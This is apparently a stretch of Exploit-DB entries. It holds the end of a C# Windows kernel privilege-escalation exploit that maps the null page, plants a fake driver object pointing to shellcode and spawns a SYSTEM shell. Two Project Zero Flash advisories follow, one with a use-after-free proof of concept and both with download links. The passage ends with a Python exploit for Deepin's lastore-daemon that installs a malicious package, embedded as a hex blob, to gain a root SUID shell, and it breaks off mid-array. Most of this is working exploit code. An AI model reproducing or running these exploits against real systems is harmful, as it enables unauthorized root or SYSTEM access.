        internal enum NtStatus : uint
        {
            SUCCESS = 0x00000000,
            INVALID_PARAMETER_1 = 0xC00000EF,
            INVALID_PARAMETER_2 = 0xC00000F0,
            INVALID_PARAMETER_3 = 0xC00000F1,
            INVALID_PARAMETER_4 = 0xC00000F2,
            // don't care
        }

        internal struct IoStatusBlock
        {
            public NtStatus status;
            public InformationUnion Information;

            [StructLayout(LayoutKind.Explicit)]
            public struct InformationUnion
            {
                [FieldOffset(0)]
                public FileOpenInformation FileOpenInformation;
                [FieldOffset(0)]
                public uint BytesWritten;
                [FieldOffset(0)]
                public uint BytesRead;
            }
        }

        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
        public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate int LoadAndGetKernelBasePtr();

        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        #endregion

        private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
        private static byte[] z(int c) { return rep(0, c); }
        private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
        private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }

        public static void Main(string[] args)
        {
            var shellcodeDll = LoadLibrary("shellcode.dll");
            var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");

            var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
            var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));

            var loadResult = loadAndGetKernelBase();
            Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");

            var addr = new IntPtr(0x1000);
            var size = new UIntPtr(0x4000);
            var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
            Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");

            if (result != NtStatus.SUCCESS || loadResult != 0)
                Console.WriteLine("[-] Fail... so sad :(");
            else
            {
                Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
                var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
                Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);

                var p = new Random().Next(1024, 65535);
                Console.WriteLine("[*] Starting fake webdav server...");
                StartFakeWebDavServer(p);

                Console.WriteLine("[*] Calling WNetAddConnection2...");
                var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
                Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);

                var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
                Console.WriteLine($"[*] CreateFile result = {fileHandle}");
                
                IoStatusBlock ioStatusBlock;
                var inputLen = 24;
                var inputPtr = Marshal.AllocHGlobal(inputLen);
                var outputLen = 4;
                var outputPtr = Marshal.AllocHGlobal(outputLen);
                var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
                Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");

                var identity = WindowsIdentity.GetCurrent();
                if (identity?.IsSystem == true)
                {
                    Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
                    Process.Start("cmd");
                }
                else
                    Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
            }

            Console.WriteLine("");
            Console.WriteLine("Press ENTER to exit.");
            Console.ReadLine();
        }
    }
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=632

There is an out-of-bounds read in H264 parsing, a fuzzed file is attached. To load, load LoadMP4.swf with the URL parameter file=compute_poc.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39464.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=667

There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:

var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);


function func(){
	
	trace("here");
	tf.removeTextField();	
	return "test";

	}
	

A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip
            
#!/usr/bin/env python
# encoding=utf8

# Exploit Title: Lastore-daemon in Deepin 15 results in privilege escalation
# Date: 20160208
# Exploit Author: King's Way <root#kings-way.info>
# Vendor Homepage: http://www.deepin.org
# Software Link: http://cdimage.linuxdeepin.com/releases/15.1/deepin-15.1-amd64.iso
# Version: Deepin 15 & 15.01
# Tested on: Deepin 15 & 15.01
# CVE : null

# privilege escalation POC for deepin 15 & 15.1 with lastore-daemon.

# Vulnerability Description:
#    In Deepin Linux 15.1, they designed a daemon (called lastore-daemon) based
#    on dbus and apt to support deepin-appstore.
#    Lastore-daemon runs with root privilege to run apt-get commands and listens
#    to dbus message from every user.
#    So, we can send the package name along with some options to lastore-daemon 
#    to install or remove any package, even to destroy the host system.
#
#    Apart from that, if we prepare a malicious package and try to cheat lastore
#    -daemon into installing it, then anyone can have root privilege.


import os
import dbus
import time

def create_deb(deb_file_path):

#    Okay, we have to build a  package which will give us a shell with SUID bit.
#    Things below are hex data of my package. Of course, you can make your own version if you like.
    
    deb_data = [
		'0x21', '0x3c', '0x61', '0x72', '0x63', '0x68', '0x3e', '0xa', '0x64', '0x65', '0x62', '0x69', '0x61', '0x6e', '0x2d', '0x62', '0x69', '0x6e', '0x61', '0x72',
		'0x79', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20',
		'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20', '0x34', '0x20', '0x20', '0x20',
		'0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x32', '0x2e', '0x30', '0xa', '0x63', '0x6f', '0x6e', '0x74', '0x72', '0x6f', '0x6c', '0x2e',
		'0x74', '0x61', '0x72', '0x2e', '0x67', '0x7a', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20',
		'0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20',
		'0x33', '0x38', '0x31', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x1f', '0x8b', '0x8', '0x0', '0x0', '0x0', '0x0', '0x0',
		'0x2', '0x3', '0xed', '0xd5', '0x41', '0x6b', '0xdb', '0x30', '0x18', '0x6', '0x60', '0x9f', '0xfd', '0x2b', '0x3e', '0xe8', '0x61', '0xa7', '0x3a', '0xb2',
		'0x24', '0xdb', '0x2c', '0x94', '0xb1', '0x91', '0xde', '0xc6', '0x58', '0xa0', '0xb0', '0x9d', '0x15', '0x59', '0x4e', '0x44', '0x1c', '0x2b', '0x48', '0x72',
		'0x43', '0xfe', '0xfd', '0xe4', '0x6c', '0x85', '0x30', '0x58', '0x7b', '0x4a', '0xca', '0xc2', '0xfb', '0x80', '0x91', '0xf8', '0x2c', '0x1b', '0xe1', '0x8f',
		'0x57', '0x2e', '0x66', '0xd9', '0xc5', '0xb1', '0xa4', '0xa9', '0xaa', '0xd3', '0x98', '0xfc', '0x3d', '0x9e', '0xe6', '0x25', '0xaf', '0x2b', '0xc1', '0x9a',
		'0x5a', '0x72', '0x99', '0xea', '0x4d', '0xc3', '0x79', '0x46', '0x55', '0x76', '0x5', '0x63', '0x88', '0xca', '0x13', '0x65', '0xde', '0xb9', '0xf8', '0xda',
		'0xba', '0xb7', '0xee', '0xff', '0xa7', '0x8a', '0xd9', '0xae', '0xad', '0xc2', '0xb8', '0xb', '0x17', '0xee', '0x7f', '0x2d', '0xe5', '0xbf', '0xfb', '0x5f',
		'0x57', '0x2f', '0xfd', '0x67', '0x65', '0x9d', '0xea', '0x65', '0xc9', '0x45', '0xea', '0x3f', '0x43', '0xff', '0x2f', '0xae', '0x6b', '0x2a', '0x2d', '0x57',
		'0xad', '0x96', '0xb5', '0xe6', '0x82', '0xa5', '0x49', '0xc7', '0x65', '0xa3', '0x85', '0x16', '0xec', '0xa3', '0x62', '0x8d', '0x36', '0x44', '0x63', '0xf0',
		'0xb3', '0x95', '0x1d', '0x66', '0xad', '0x31', '0x7b', '0x3b', '0x6c', '0x94', '0xde', '0xe6', '0x19', '0xdc', '0x4e', '0xfe', '0xb5', '0x1b', '0xa2', '0x77',
		'0xfd', '0x3b', '0xe6', '0x5f', '0xd4', '0x67', '0xe7', '0x7f', '0x29', '0xa7', '0xfc', '0xb', '0x2e', '0x90', '0xff', '0x6b', '0x58', '0xa6', '0x3c', '0xab',
		'0xb5', '0x99', '0xd3', '0x59', '0xbc', '0x7f', '0x18', '0x1f', '0xac', '0x1b', '0xe6', '0xc4', '0xa', '0x56', '0x94', '0xf9', '0x17', '0xaf', '0x37', '0x36',
		'0x1a', '0x1d', '0x47', '0x9f', '0xd6', '0xa9', '0x5d', '0x5b', '0xcb', '0xfc', '0x9b', '0xb2', '0x43', '0x4c', '0x97', '0xf1', '0x73', '0xfa', '0x6a', '0x87',
		'0xf5', '0x87', '0x40', '0x3f', '0xd5', '0x91', '0x1e', '0xa6', '0xaf', '0x74', '0xb7', '0x4d', '0x85', '0x70', '0x7f', '0x50', '0xc7', '0xc2', '0xe', '0x9d',
		'0xfb', '0x94', '0x3f', '0xa5', '0x67', '0x4f', '0xef', '0x1b', '0xa3', '0xed', '0x43', '0xbe', '0xf4', '0xd6', '0x79', '0x1b', '0x8f', '0x73', '0x72', '0xfb',
		'0xa9', '0xae', '0xfa', '0xfc', '0xd1', '0x4', '0xed', '0xed', '0xfe', '0xf7', '0xaa', '0xbd', '0xb7', '0xcf', '0xb6', '0x37', '0x6b', '0x43', '0xa9', '0xaa',
		'0x7a', '0x35', '0x55', '0x69', '0xf9', '0x7d', '0x41', '0x9d', '0xf3', '0x7f', '0xb6', '0x49', '0x65', '0x45', '0x7', '0x1b', '0x37', '0xd4', '0xab', '0x10',
		'0x9d', '0x37', '0xf7', '0xad', '0x32', '0x3b', '0x37', '0x14', '0xb4', '0xf0', '0x46', '0x45', '0xd3', '0xd2', '0xea', '0x78', '0xbe', '0xad', '0xcf', '0xc4',
		'0xa7', '0x1f', '0x4b', '0x29', '0x18', '0x8e', '0x2e', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0',
		'0x0', '0xb8', '0x49', '0xbf', '0x0', '0x93', '0xc6', '0x6e', '0x6c', '0x0', '0x28', '0x0', '0x0', '0xa', '0x64', '0x61', '0x74', '0x61', '0x2e', '0x74',
		'0x61', '0x72', '0x2e', '0x78', '0x7a', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34',
		'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34',
		'0x20', '0x20', '0x35', '0x30', '0x35', '0x34', '0x38', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0xfd', '0x37', '0x7a', '0x58', '0x5a', '0x0',
		'0x0', '0x4', '0xe6', '0xd6', '0xb4', '0x46', '0x2', '0x0', '0x21', '0x1', '0x16', '0x0', '0x0', '0x0', '0x74', '0x2f', '0xe5', '0xa3', '0xe2', '0x7',
		'0xff', '0xc5', '0x33', '0x5d', '0x0', '0x17', '0xb', '0xbc', '0x1c', '0x7d', '0x1', '0x95', '0xc0', '0x1d', '0x4a', '0x3e', '0x79', '0x15', '0xc2', '0xcc',
		'0x26', '0xa3', '0x54', '0x6b', '0x8d', '0x0', '0xb8', '0xd7', '0x25', '0xf8', '0xa2', '0x25', '0x39', '0x46', '0x8a', '0x3e', '0x68', '0x3f', '0x56', '0xad',
		'0xa2', '0xeb', '0x26', '0xb4', '0xc4', '0xa8', '0xcc', '0x33', '0xd5', '0x89', '0xd6', '0x26', '0xbe', '0x9a', '0xd9', '0x13', '0xaf', '0x1c', '0x90', '0x41',
		'0x52', '0x8f', '0x14', '0xde', '0x25', '0xcd', '0x2b', '0x9c', '0x24', '0xd4', '0xb3', '0x4d', '0x92', '0x7d', '0xa7', '0x75', '0x5f', '0xd7', '0xa2', '0x5e',
		'0x2c', '0xdf', '0x5d', '0xf0', '0x6e', '0x60', '0xdb', '0x33', '0xc4', '0xc9', '0x41', '0x2e', '0x9d', '0x7', '0x1c', '0x2f', '0x7d', '0xdc', '0xa', '0x8e',
		'0xfe', '0x4a', '0xc9', '0xce', '0xbc', '0x28', '0x38', '0x95', '0xa7', '0x9', '0x75', '0x10', '0xd6', '0xad', '0x73', '0xc5', '0x1d', '0x29', '0x40', '0x6d',
		'0xfd', '0x62', '0x31', '0xbe', '0x89', '0x48', '0x9a', '0x89', '0x3e', '0x6', '0xd7', '0xd8', '0x47', '0x69', '0x70', '0x7f', '0x63', '0x1f', '0x16', '0x6',
		'0x13', '0xf0', '0x1b', '0xd3', '0x49', '0x4b', '0x3f', '0x9c', '0xa0', '0xbe', '0x54', '0x5d', '0x79', '0x7d', '0xa0', '0xd6', '0x74', '0x12', '0x6f', '0x7c',
		'0x37', '0x21', '0xdd', '0xe3', '0x60', '0x83', '0xe8', '0xe7', '0x22', '0x9c', '0x89', '0x57', '0xb0', '0xe7', '0xa2', '0xa', '0xcd', '0x3d', '0xd1', '0xcd',
		'0xd4', '0x62', '0xe2', '0x4f', '0xa9', '0x4a', '0xc5', '0xba', '0x69', '0x11', '0x1', '0xdb', '0xf', '0xbb', '0xd3', '0x70', '0xfb', '0x6e', '0x2a', '0xb4',
		'0xf', '0xff', '0x37', '0x3e', '0xe7', '0xf0', '0x6d', '0xca', '0xb9', '0x2', '0x62', '0xaa', '0x70', '0x88', '0x30', '0xe3', '0xbe', '0x60', '0x3d', '0x1f',
		'0xc3', '0x64', '0x33', '0x63', '0xb8', '0x36', '0x2f', '0x19', '0x46', '0x9f', '0xb8', '0xf2', '0x19', '0xe8', '0x5f', '0xd8', '0x7a', '0x4', '0x58', '0x58',
		'0x67', '0x1b', '0xc5', '0xc2', '0xd5', '0x3f', '0x66', '0xd3', '0xb2', '0xa7', '0x58', '0xcf', '0xcf', '0xc2', '0xc7', '0x57', '0xe4', '0x35', '0x5f', '0x7e',
		'0x37', '0x56', '0x2c', '0x5c', '0x5e', '0x76', '0x17', '0x2', '0x6c', '0x86', '0x6f', '0xd8', '0x8a', '0x7c', '0x42', '0xaf', '0xfa', '0x19', '0xda', '0x50',
		'0x25', '0xe0', '0xcb', '0x58', '0xda', '0x11', '0x59', '0x5d', '0xab', '0x10', '0xc6', '0x5b', '0x7e', '0x46', '0xe7', '0xb8', '0x32', '0xba', '0x51', '0x14',
		'0xf9', '0xdd', '0x49', '0x92', '0x95', '0x3c', '0x20', '0x1e', '0x4', '0xca', '0x84', '0x55', '0xfc', '0xa6', '0x4c', '0xa9', '0x76', '0x32', '0xf7', '0xfb',
		'0xd5', '0xc', '0xa1', '0xca', '0x66', '0xa8', '0x4', '0xc8', '0x6e', '0xae', '0xbf', '0xf7', '0x57', '0x4e', '0x29', '0x57', '0x90', '0x7b', '0xd7', '0x4b',
		'0x2d', '0xd3', '0xb3', '0xfb', '0xcf', '0x8f', '0xd5', '0x2', '0xaa', '0xfb', '0xdd', '0xa2', '0x98', '0xb', '0x60', '0xeb', '0xfa', '0x7', '0xd5', '0xb6',
		'0x3', '0xa1', '0x21', '0x7f', '0x63', '0x7c', '0x9c', '0x1c', '0x5', '0xa2', '0x82', '0x5', '0x3b', '0x98', '0xde', '0xcf', '0x6c', '0x7', '0xac', '0xf0',
		'0x62', '0x37', '0xcb', '0x18', '0x6b', '0xf', '0x4f', '0x89', '0x4d', '0x4e', '0x7e', '0xcd', '0x8', '0x6d', '0xc2', '0x4', '0xeb', '0x46', '0x43', '0xd2',
		'0x2a', '0xe9', '0x39', '0xb2', '0x4d', '0xcf', '0xd2', '0xdf', '0x6b', '0xac', '0xaf', '0x6a', '0x14', '0x30', '0x70', '0xe9', '0xed', '0xed', '0x62', '0x29',
		'0xf7', '0x4f', '0x24', '0x8a', '0xe5', '0x7e', '0xee', '0xec', '0x91', '0x7', '0x97', '0x87', '0x75', '0xe7', '0xf8', '0xcb', '0x78', '0xb3', '0xc4', '0x8',
		'0x59', '0x6d', '0xd9', '0xad', '0x4', '0x42', '0x2b', '0xe9', '0x25', '0xb4', '0xca', '0x3', '0x8c', '0x32', '0x6f', '0x3b', '0xce', '0x1a', '0xc0', '0x56',
		'0x52', '0xbc', '0x37', '0xab', '0x7e', '0x6c', '0x89', '0x9a', '0x78', '0xe1', '0xdc', '0x3b', '0x11', '0x9e', '0xad', '0x5b', '0x16', '0x90', '0x28', '0xed',
		'0xb8', '0xf8', '0x4d', '0x90', '0xfb', '0xe9', '0x3a', '0x27', '0x7d', '0x93', '0x8e', '0xa3', '0xa6', '0xc4', '0xac', '0xe3', '0xc2', '0x95', '0x11', '0x5',
		'0x75', '0xb8', '0x85', '0xdb', '0x7e', '0x7f', '0x68', '0x19', '0x79', '0xdd', '0x5a', '0x28', '0xb2', '0x38', '0xa9', '0x8b', '0x54', '0x10', '0xa2', '0x9c',
		'0x87', '0x70', '0xdc', '0xe8', '0x87', '0x1c', '0x2f', '0xd8', '0xa9', '0xa2', '0x5e', '0xf3', '0x71', '0x1f', '0x44', '0x9a', '0xb8', '0x27', '0xf4', '0x12',
		'0x11', '0x63', '0x60', '0x44', '0xd6', '0xe', '0xdb', '0x2a', '0xdb', '0xb0', '0x1', '0xaa', '0x7', '0x1f', '0xc6', '0x6', '0x64', '0xc3', '0xc', '0x21',
		'0x19', '0x3e', '0x23', '0xc6', '0x11', '0xd2', '0x97', '0x26', '0x3', '0x8e', '0x4c', '0x27', '0x3b', '0xb5', '0x93', '0x5e', '0xc4', '0x61', '0x4f', '0x68',
		'0xd5', '0xbd', '0x20', '0xc', '0x32', '0xc6', '0x96', '0xa8', '0x51', '0x89', '0x7b', '0x70', '0xfa', '0x49', '0xbf', '0x1f', '0xcd', '0xec', '0xf3', '0xa1',
		'0x7d', '0x7e', '0x3f', '0xb7', '0x2e', '0x59', '0x61', '0x92', '0xf9', '0x4b', '0x31', '0x15', '0x98', '0xf7', '0x4', '0x51', '0xf0', '0x76', '0x19', '0x3e',
		'0x7a', '0x8a', '0x79', '0xa7', '0xa7', '0x7b', '0x8', '0xfe', '0x27', '0xb7', '0x23', '0x50', '0xba', '0xae', '0x4d', '0x6c', '0x2e', '0x5d', '0x7f', '0x34',
		'0xb4', '0xb0', '0xf1', '0xaa', '0xdd', '0x90', '0x1', '0x69', '0x90', '0x13', '0x14', '0x6b', '0xe4', '0x82', '0xc6', '0x18', '0xe', '0x5', '0x5a', '0xbb',
		'0x8d', '0x21', '0x78', '0x46', '0xce', '0xb2', '0x82', '0xa0', '0xf1', '0xe9', '0xe4', '0x95', '0xdd', '0xc4', '0x7b', '0x5a', '0x1d', '0x46', '0x50', '0xc0',
		'0xe3', '0xd8', '0x7a', '0xd6', '0x55', '0xa7', '0x5b', '0xea', '0x48', '0x5d', '0x7a', '0xbd', '0x90', '0xdd', '0xeb', '0x6a', '0x78', '0x3a', '0x6c', '0x81',
		'0xb8', '0xf0', '0x74', '0x34', '0x7d', '0x8c', '0xeb', '0x5e', '0x5f', '0x8c', '0xf4', '0xb6', '0xcf', '0x30', '0x58', '0xac', '0xd4', '0x45', '0x6f', '0x48',
		'0x6c', '0x59', '0x88', '0xbc', '0x94', '0x62', '0x8a', '0xd0', '0xd4', '0x4', '0xf0', '0x27', '0x56', '0x98', '0x30', '0x67', '0x25', '0xc3', '0x54', '0x75',
		'0xc3', '0x5e', '0x47', '0x3f', '0x86', '0x82', '0x25', '0xe1', '0x55', '0x2a', '0x8f', '0x98', '0x1a', '0x77', '0xda', '0x9f', '0x8', '0x51', '0xe7', '0x47',
		'0xd', '0x49', '0xe6', '0xc9', '0xf', '0x22', '0xaf', '0xe4', '0xc', '0xfe', '0x99', '0x6c', '0x39', '0x11', '0x6c', '0xd5', '0x5f', '0x66', '0x4a', '0x1f',
		'0x63', '0x70', '0x7c', '0x10', '0x34', '0xeb', '0xc0', '0x31', '0x16', '0x7a', '0xb5', '0x15', '0x72', '0xc6', '0x71', '0xbe', '0xd5', '0x42', '0x6c', '0xb1',
		'0xa', '0x29', '0xb6', '0x92', '0xdc', '0x5', '0x6b', '0x92', '0xfa', '0xcd', '0x89', '0x69', '0xb6', '0xcf', '0x80', '0x9f', '0x8e', '0x7d', '0x6d', '0xcb',
		'0x18', '0x7f', '0xc7', '0xa', '0xb8', '0x42', '0x7c', '0x64', '0x3f', '0x72', '0x81', '0xb4', '0x9', '0x21', '0xba', '0x1e', '0x7d', '0x5e', '0xfc', '0x91',
		'0x21', '0xaa', '0xa0', '0x62', '0x95', '0xb6', '0x99', '0xb', '0x32', '0x8c', '0x21', '0x36', '0xfd', '0xf7', '0xde', '0x29', '0x2e', '0x33', '0xf5', '0x2b',
		'0x23', '0x3b', '0xfa', '0x8', '0xc4', '0xae', '0x5a', '0xbc', '0x60', '0x74', '0x60', '0x5d', '0xd6', '0xd4', '0x93', '0xd8', '0xed', '0x94', '0x24', '0x1c',
		'0x5', '0x9f', '0x62', '0xd0', '0x9a', '0x61', '0x6c', '0x25', '0x54', '0x44', '0x11', '0x3b', '0x1', '0xd6', '0x39', '0x72', '0x24', '0x64', '0x81', '0x98',
		'0xc', '0x84', '0x8e', '0x2e', '0xdc', '0x3d', '0x69', '0x6d', '0x6a', '0xff', '0xa4', '0x49', '0x0', '0xc7', '0xf1', '0xad', '0xd5', '0x65', '0xb', '0x60',
		'0x10', '0x16', '0x83', '0x76', '0xdc', '0xca', '0x1f', '0x2a', '0x18', '0x85', '0x43', '0x4e', '0xf2', '0x2c', '0x31', '0xb4', '0x4d', '0xed', '0x3c', '0xac',
		'0x9', '0x76', '0x7f', '0xe4', '0x9a', '0xe3', '0x6', '0x61', '0x3', '0x5b', '0xe7', '0x74', '0x81', '0x82', '0x19', '0xdf', '0x12', '0x0', '0xcb', '0x28',
		'0x33', '0x21', '0x9e', '0xc9', '0xdf', '0xc7', '0xb5', '0x54', '0x42', '0xf9', '0x9b', '0xdb', '0x1f', '0x54', '0x83', '0xaf', '0x90', '0xe6', '0x18', '0x8a',
		'0x69', '0x92', '0xbf', '0x6f', '0x9f', '0x36', '0x8f', '0x7c', '0xdc', '0x78', '0xce', '0xb8', '0xee', '0x63', '0x1b', '0x40', '0x73', '0x5f', '0xaf', '0xa6',
		'0xb0', '0xbc', '0x33', '0x88', '0x2', '0x64', '0x47', '0x2f', '0xd4', '0xaf', '0xf2', '0x14', '0x92', '0x3', '0xd4', '0x5e', '0xf7', '0x2', '0xa1', '0x10',
		'0xbf', '0x2b', '0xf9', '0xad', '0x3', '0xaf', '0x9', '0x96', '0x20', '0x4a', '0x3b', '0x37', '0x17', '0xcf', '0xa4', '0x96', '0x1d', '0x91', '0x37', '0x96',
		'0x1', '0xde', '0x60', '0x42', '0x6', '0xf', '0x5b', '0xaf', '0x5f', '0x7a', '0xa', '0x4c', '0x32', '0x80', '0x3a', '0xc8', '0x17', '0x96', '0x17', '0xd',
		'0x5a', '0xb3', '0x13', '0xd7', '0x98', '0x45', '0x39', '0xa8', '0x36', '0x39', '0x1b', '0xb8', '0xd0', '0xc6', '0xb6', '0x29', '0x4f', '0xc3', '0x7e', '0x16',
		'0x4b', '0x37', '0xc0', '0xfd', '0xef', '0xdf', '0xf8', '0xf2', '0x82', '0xab', '0xb1', '0xa6', '0x3', '0x14', '0x30', '0x8', '0x82', '0xb', '0xac', '0x83',
		'0xb3', '0x67', '0x4f', '0xb', '0x9b', '0x23', '0x6e', '0x26', '0x4f', '0xb7', '0x61', '0x64', '0xf0', '0x2b', '0x6d', '0x43', '0xf2', '0x93', '0xf7', '0xf2',
		'0x30', '0x99', '0xfb', '0xba', '0xf3', '0xda', '0x58', '0xb6', '0x6a', '0x94', '0x25', '0x80', '0xb', '0xeb', '0x6e', '0x17', '0x59', '0x46', '0x7d', '0xe4',
		'0x8d', '0xa3', '0x12', '0x8e', '0x51', '0x8d', '0xec', '0x18', '0x43', '0x3c', '0x77', '0x69', '0xb5', '0xc8', '0x48', '0x3a', '0xbd', '0xe7', '0x2a', '0x5',
		'0x3c', '0x26', '0x73', '0xf', '0x61', '0x95', '0x4a', '0x7b', '0x28', '0x2b', '0x40', '0x11', '0xf7', '0xb7', '0x3e', '0x88', '0x17', '0xfc', '0x18', '0x87',
		'0x85', '0x3', '0xc0', '0x8', '0x5c', '0x94', '0xc9', '0xf5', '0xe4', '0x1a', '0xd1', '0xfa', '0x3c', '0x12', '0x44', '0x21', '0x62', '0x1c', '0x2d', '0xeb',
		'0x1b', '0xba', '0x81', '0xe5', '0x55', '0x78', '0xa8', '0xb5', '0x8e', '0xa9', '0x6', '0x50', '0x4b', '0xe9', '0x2f', '0x7e', '0x29', '0xf3', '0x84', '0xe3',
		'0x9e', '0xf2', '0xbf', '0x15', '0x62', '0x63', '0x6e', '0x23', '0x9d', '0x62', '0x26', '0xc7', '0xa4', '0x0', '0x39', '0xde', '0x7e', '0x41', '0x7b', '0x4b',
		'0x89', '0x80', '0x8e', '0x5a', '0x9e', '0x55', '0x6f', '0xe8', '0xa4', '0x19', '0x9e', '0x76', '0x7e', '0xa4', '0xe', '0x7b', '0xa7', '0x78', '0x5d', '0x89',
		'0x52', '0x16', '0xc', '0x7', '0x6', '0x8e', '0xf8', '0xd7', '0x85', '0x1a', '0xdd', '0x39', '0x22', '0x71', '0xa1', '0x43', '0xaa', '0x5a', '0x78', '0xdc',
		'0xa', '0xfb', '0x13', '0x9f', '0x7c', '0x51', '0x26', '0x26', '0xeb', '0x24', '0x8b', '0x3b', '0x45', '0x8f', '0x8e', '0x60', '0xb9', '0x7a', '0xf', '0x31',
		'0x3d', '0x31', '0x36', '0xf2', '0x72', '0x8c', '0x25', '0x9d', '0x79', '0xe4', '0x4f', '0x4a', '0x80', '0x18', '0x8b', '0x37', '0xc0', '0x1', '0xa1', '0x8b',
		'0xe4', '0x61', '0x3d', '0x2f', '0xee', '0xcc', '0x87', '0xf4', '0x26', '0xa9', '0xc6', '0x6f', '0xf9', '0x37', '0xe', '0x27', '0x9f', '0xfe', '0x86', '0xc',
		'0xdb', '0xe8', '0x71', '0x53', '0xa5', '0xb7', '0x8b', '0xc8', '0x52', '0x24', '0x50', '0x77', '0xe', '0xaa', '0x67', '0xa4', '0xea', '0xa4', '0xa5', '0x84',
		'0x63', '0xaa', '0xe', '0xca', '0xce', '0x4c', '0xbc', '0x1e', '0xea', '0x32', '0xac', '0xd6', '0x13', '0xa0', '0x9e', '0x90', '0x20', '0x56', '0x20', '0x3c',
		'0x1f', '0xbf', '0x3f', '0x9f', '0xa0', '0x5c', '0x6d', '0x4b', '0x4b', '0x7', '0xed', '0x3e', '0xef', '0x2a', '0x1d', '0x9d', '0xe4', '0x50', '0x4', '0xb1',
		'0xf7', '0x64', '0xfb', '0xe', '0xbe', '0x0', '0x4d', '0x9a', '0xe2', '0x20', '0x2b', '0xb0', '0xa3', '0x21', '0xae', '0xac', '0x82', '0x98', '0x26', '0xa0',
		'0x6c', '0x89', '0x21', '0x8f', '0xea', '0x2b', '0x47', '0xd8', '0xa7', '0x4c', '0x57', '0x92', '0x2b', '0x9', '0x1f', '0x49', '0xba', '0x75', '0xdc', '0x64',
		'0xa5', '0xc', '0x3', '0xd5', '0x5e', '0x80', '0xcc', '0x91', '0x72', '0x39', '0xc1', '0xc4', '0xc4', '0x61', '0xab', '0x31', '0xad', '0x5e', '0xcf', '0x88',
		'0xa7', '0x69', '0xd', '0xb6', '0xec', '0x4b', '0x49', '0xa4', '0x35', '0x29', '0x5e', '0x8', '0xb4', '0xd8', '0x62', '0xbd', '0x48', '0x2b', '0x83', '0xa1',
